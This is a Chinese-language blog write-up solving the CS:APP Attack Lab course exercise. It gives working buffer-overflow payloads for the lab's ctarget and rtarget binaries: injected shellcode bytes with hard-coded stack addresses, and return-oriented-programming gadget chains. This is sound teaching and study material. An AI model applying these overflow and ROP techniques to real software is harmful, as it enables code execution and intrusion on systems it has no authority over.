CS:App Attack Lab题解 第三个实验

Attack Lab

0.实验前准备

下载lab文件

Lab文件

WriteUp文件(有该实验的好多Advise和介绍,很有用!)

文件处理

将压缩包解压出来,得到以下文件:
在这里插入图片描述
Bomb Lab类似,使用命令
objdump -d ctarget > ctarget.asm objdump -d rtarget > rtarget.asm
生成反汇编代码。

实验介绍(WriteUp中有更加详细的介绍)

  • 该Lab分为两部分
    在这里插入图片描述

  • 该Lab调用关系是
    main()->test()->调用getbuf()->ret指令->test()
    我们需要做的是main()->test()->调用getbuf()->ret指令->touch1/2/3()

  • 该Lab攻击都是利用栈缓存区溢出,其中getbuf()就是造成栈缓存区溢出的"罪魁祸首"。它申请了40字节但不做写入字节限制。在这里插入图片描述

  • ctarget使用gcc命令已经关闭了栈随机化 栈破坏检测 限制代码执行区域,可以在栈中写/执行 指令,我们直接用 code-injection 攻击方式。

  • rtarget开启了上述栈保护机制,在栈中可以写,不能执行指令;且栈地址每一次运行地址都不相同,我们用 return-oriented-programming 攻击方式。

  • 攻击代码需要为小端法(Little-Endian)形式编码

正式开始

Level1 code-injection

  • 相关代码
    在这里插入图片描述在这里插入图片描述
  • 题意
    原程序执行:test()->getbuf()->ret->test()
    攻击执行:test()->getbuf()->ret->touch1()
  • 分析
    代码执行到getbuf()中栈图应该是这样:在这里插入图片描述那我们只需要把那40字节先填满,再溢出到test()返回地址,替换为touch()地址,如:
    在这里插入图片描述那么在getbuf()的ret指令的参数就是touch1()的地址了,即完成了攻击。
  • 构造攻击代码
    注意这里要Little-Endian小端法编码其地址。
    在这里插入图片描述
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40

在这里插入图片描述
执行代码

./hex2raw -i ans.txt | ./ctarget -q
#-q 表示不讲评分发到服务器

Level 1PASS

Level2 code-injection

  • 相关代码
    不要使用CALL 与 JMP系列的汇编指令(WriteUp内有写)
    还是一样的test()函数
    在这里插入图片描述在这里插入图片描述

  • 题意
    原程序执行:test()->getbuf()->ret->test()
    攻击执行:test()->getbuf()->ret->touch2()
    touch2()要求你传入的cookie值与程序内的cookie值一样。这个cookie值在解压包内有cookie.txt

  • 分析
    可以看到touch2与touch1不同之处就是touch2()有一个参数
    我们看看谁会给它传参呢?此时是getbuf()的ret执行了touch2(),其实没有函数为touch2准备了参数。
    所以我们需要自己去构造一个:

    • touch2()只有一个参数且为第一个,那它使用的寄存器就是%rdi,所以我们需要在执行touch2()之前的一个时机为%rdi赋值。

    • 可以使用movq 指令为%rdicookie值,在此给出一个方案(保存为create.s 后缀名需要为.s):

      movq $0x59b997fa,%rdi   //将cookie值传给%rdi,作为touch2()参数
      pushq $0x4017ec			//向栈压入touch2()地址,%rsp会改变哦
      ret						//ret是返回到最新栈地址处,此时就是touch2()的地址
      

      在这里插入图片描述
      图中的%rsp是getbuf()还未ret时的地址。要去找%rsp的地址同Bomb Lab中一样,使用gdb命令(Bomb Lab中有)即可得到,但需要注意:

      1. 该程序需要用r(un) -q 来运行,-q 是ctarget的参数。
      2. 要使用gdb的ni disas 命令走到getbuf()处,未ret前的代码处
      3. 使用i(nfo) r来查看rsp地址。

      这段代码的执行流程是:getbuf()->ret->跳到getbuf()栈起始地址处->执行汇编代码->ret->touch2()

    • 将汇编指令转为机器语言才能注入

      	gcc -c create.s   #生成机器语言
      	objdump -d create.o
      

      得到机器码。

      Disassembly of section .text:
      
      0000000000000000 <.text>:
         0:   48 c7 c7 fa 97 69 59    mov    $0x596997fa,%rdi
         7:   68 ec 17 40 00          pushq  $0x4017ec
         c:   c3                      retq
      

      48 c7 c7 fa 97 69 59 68 ec 17 40 00 c3 就是这段汇编代码的机器码了,注意这里应该按怎样的顺序填入 注入代码 中。

  • 构造攻击代码

    48 c7 c7 fa 97 b9 59 68 ec 17   <=汇编指令,因为未限制代码可执行区域,所以它是可以在栈中执行的
    40 00 c3 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 
    78 dc 61 55 <= 栈起始地址
    

Level 2解决

Level3 code-injection

  • 相关代码在这里插入图片描述
    在这里插入图片描述

    • hexmatch:判断十六进制的cookie值0x59b997fa是否与字符串形式"0x59b997fa"相等。
    • touch3:接收一个字符串形式的参数(是一个指针)。
    • hexmatch() 和 strncmp()会申请大量栈空间,但是我们是从getbuf()归还栈空间后才运行touch3()的,所以…可能会覆盖掉getbuf()原有的内容。也就是说,我们不能在getbuf()栈空间内写入字符串形式的cookie值(一定要注意需要的是一个指针)。
  • 分析
    很显然,touch3()与touch2()类似,那模仿一下touch2()解决就好。唯一不同就是:不能将字符串数据保存在getbuf()的栈中。那我们就保存在test()栈中,因为这里通过栈溢出同样能写到。

    • 取得test()栈地址
      因为关闭了栈随机化,栈地址总是固定的,和Level2一样去获取test()的栈地址。
    • 结构图
      在这里插入图片描述
    movq $0x5561dca8,%rdi   //test()栈地址
    pushq $0x4018fa			//touch3()地址
    ret
    

    进行操作得到机器码48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3

    Disassembly of section .text:
    
    0000000000000000 <.text>:
       0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
       7:	68 fa 18 40 00       	pushq  $0x4018fa
       c:	c3                   	retq 
    
  • 构造攻击代码

    48 c7 c7 a8 dc 61 55 68 fa 18 
    40 00 c3 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00 35 39
    62 39 39 37 66 61 
    

Level3 解决

Level2 return-oriented-programming

  • 背景介绍

    • rtarget文件和ctarget内容其实一样,不同的是,rtarget开启了栈保护机制,在栈中可以写,不能执行指令;且栈地址每一次运行都不相同,我们用 return-oriented-programming 攻击方式。

    • return-oriented-programming 攻击方式指:我们能从一段代码中“断章取义”,取得其他含义的汇编代码,实现我们需要的功能。如:

      0000000000400f15 <setval_210>:
      400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
      400f1b: c3 retq
      

      在地址400f18处截取后面代码

      400f18: 48 89 c7 movq %rax, %rdi   <=就实现了我们想要的操作。
      400f1b: c3 retq
      

      这种包含c3 retq(一定要有,因为栈中不能肆意执行指令了,只能通过ret 来运行到下一个程序)的功能形式我们称为gadget,我们接下来就要找gadget来实现攻击了。

    • gadget形式的代码在rtarget中有很多,Level2只会用到start_farm到mid_farm中的两个。在这里插入图片描述

    • WriteUp中已经准备好了这些指令对应的机器码了,如在这里插入图片描述

  • 相关代码
    和Level2 code-injection中一样的函数。
    在这里插入图片描述在这里插入图片描述

  • 分析
    在这里插入图片描述
    之前是这样的结构。但是现在不能直接写指令了,只能在其他函数内找gadget,显然0x59b997fa这样的一大串是不会存在与gadget中的。
    我们不能直接将0x59b997fa作为操作数,那只能存放在栈中,用popq来取得作为参数传递。那我们需要的就是:

    popq %rdi
    

    一查,对应的机器码为5f(其实只有popq %rax => 58)在这里插入图片描述
    再一查,没有5f在这里插入图片描述
    那只能变一下了,查一下,对应的机器码为

    popq %rax			#58
    movq %rax,%rdi     #48 89 c7
    

    就用下面这两个,90表示nop,是一条啥也不做 指令

    00000000004019a7 <addval_219>:
      4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
      4019ad:	c3                   	retq   
      => 0x4019ab gadget地址
    
    00000000004019c3 <setval_426>:
      4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
      4019c9:	c3                   	retq   
      => 0x4019c5 gadget地址
    

在这里插入图片描述
关键的调用过程是:ret后,rsp+=8,自动到上一格。

  • 构造攻击代码
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00      <=40bytes 全为空
00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

Level2 再次解决。

Level3 return-oriented-programming

  • 相关代码
    和Level3 code-injection一样
    在这里插入图片描述在这里插入图片描述

  • 分析

    1. 需要传递一个地址,那么必须要获得确定的地址,直接的地址肯定没有,只能想到求%rsp地址了。
      可以用movq %rsp,%rax

      0000000000401a03 <addval_190>:
        401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
        401a09:	c3                   	retq   
        => 0x401a06 gadget地址
      
    2. 单单求得%rsp地址也不行,还需要计算偏移。想来想去,最终还得是用leaq指令,而且,rtarget中确实有现成的leaq

      00000000004019d6 <add_xy>:
        4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
        4019da:	c3                   	retq   
        => 0x4019d6 gadget地址
      
    3. 重要部分已经解决了,接下来的就是一些小问题。最终构造如下:
      在这里插入图片描述

  • 构造攻击代码

    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00
    06 1a 40 00 00 00 00 00 
    a2 19 40 00 00 00 00 00 
    cc 19 40 00 00 00 00 00 
    48 00 00 00 00 00 00 00 
    dd 19 40 00 00 00 00 00 
    70 1a 40 00 00 00 00 00 
    13 1a 40 00 00 00 00 00 
    d6 19 40 00 00 00 00 00 
    a2 19 40 00 00 00 00 00 
    fa 18 40 00 00 00 00 00 
    35 39 62 39 39 37 66 61 00
    

Level3 再次解决了!

总结

1.对栈缓冲区溢出有了实实在在的理解。
2.理解了汇编指令对栈指针的影响,像pop push ret都会改变栈指针。

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值